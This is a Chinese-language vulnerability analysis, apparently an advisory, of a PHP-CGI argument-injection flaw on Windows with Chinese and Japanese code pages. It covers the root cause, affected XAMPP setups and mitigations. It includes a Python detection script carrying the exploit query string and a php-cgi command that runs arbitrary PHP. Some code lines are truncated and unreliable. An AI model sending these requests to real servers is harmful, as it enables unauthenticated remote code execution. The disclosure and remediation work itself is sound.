一、漏洞简介
PHP 在设计时忽略Windows 中对字符转换的best fit 特性,当PHP-CGI 运行在Windows平台且使用了如下语系(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求,在无需登录的情况下执行任意PHP代码。
二、影响范围
1、影响版本
PHP 8.3
PHP 8.2
PHP 8.1
2、影响的软件
Windows系统条件下,安装有/cgi-bin/php-cgi.exe文件的Web服务器,其中影响最大的是XAMPP,以下均以XAMPP的稳定版本8.2.12的默认配置为例进行分析。
下载地址:https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe
3、判断方式
使用python代码进行简单判断,如果返回漏洞存在就说明存在漏洞:
import requests,argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="目标地址", required=True)
args = parser.parse_args()
req = requests.post(args.target+"/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input", data=', allow_redirects=False, verify=False)
content = req.content
if b'vulnerability' in content:
print("漏洞存在")
else:
req = requests.post(args.target+"/index.php?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input", data=', allow_redirects=False, verify=False)
content = req.content
if b'vulnerability' in content:
print("漏洞存在")
else:
print("漏洞不存在")
使用方法,如下图所示:
三、漏洞分析
1、利用条件
这个漏洞的利用前提是由于Windows系统内字符编码转换的best fit特性,所以前提条件就是必须是Window环境。
其次由于这个特性,windows必须使用以下其中之一的语言系统(codepage):
繁体中文 (cp950)
简体中文 (cp936)
日文 (cp932)
而且除了这3个以外,其他的语言也不能完全排除影响,凡是存在该特性的的系统都受到影响。
2、漏洞原理
结合新版本的php源码对比来看
https://github.com/php/php-src/tree/PHP-8.2.20/sapi/cgi
校验了非ASCII(*p>=0x80)的字符,将其转换一下,如果转换之后为“-”,就忽略。
https://github.com/php/php-src/commit/88315f263dc4d64855a54e24b71970ad605fbacc
通过比对可以知道,best fit特性实际是宽字节转换的一个操作,我们可以使用python检测下编码转换后的数据,以简体中文系统环境为例(cp936):
print("\xad")
print("-")
结果如下,0xad打印出来也是“-”,通过上面的源码对比可以看出,当发送的请求字符串中不包含"=",Apache就会把请求传到命令行作为cgi的参数,新版本过滤了ASCII字符和宽字符转换后的“-”,使得无法使用参数,故修复了漏洞。
通过宽字符0xad,可以替换为“-”,也就相当于执行了php-cgi.exe支持的参数里面的指令,其中-d参数配合auto_prepend_file=php://input就能执行任何php代码了。
测试操作打印123456到终端:
echo "" | php-cgi.exe -d auto_prepend_file=php://input -d allow_url_include=1 -d cgi.force_redirect=0
结果如下:
四、漏洞修复
这个漏洞影响范围巨大,如果确认受影响,请将PHP升级至影响版本之外的版本,或关闭php cgi功能,甚至临时改名php-cgi.exe为php-cgi.exe.bak也可以进行缓解。
1、方法一:升级
顾名思义,将PHP升级至影响版本之外的版本。
方法二:修改配置
注释以下配置信息(如C:\xampp\apache\conf\extra\httpd-xampp.conf):
3、方法三:改名
找到安装目录,修改php-cgi.exe的名称
如果不显示扩展名exe,首先需要显示文件扩展名(不同的系统修改方式不一样,可以自己参考网上教程),再修改文件名为php-cgi.exe.bak: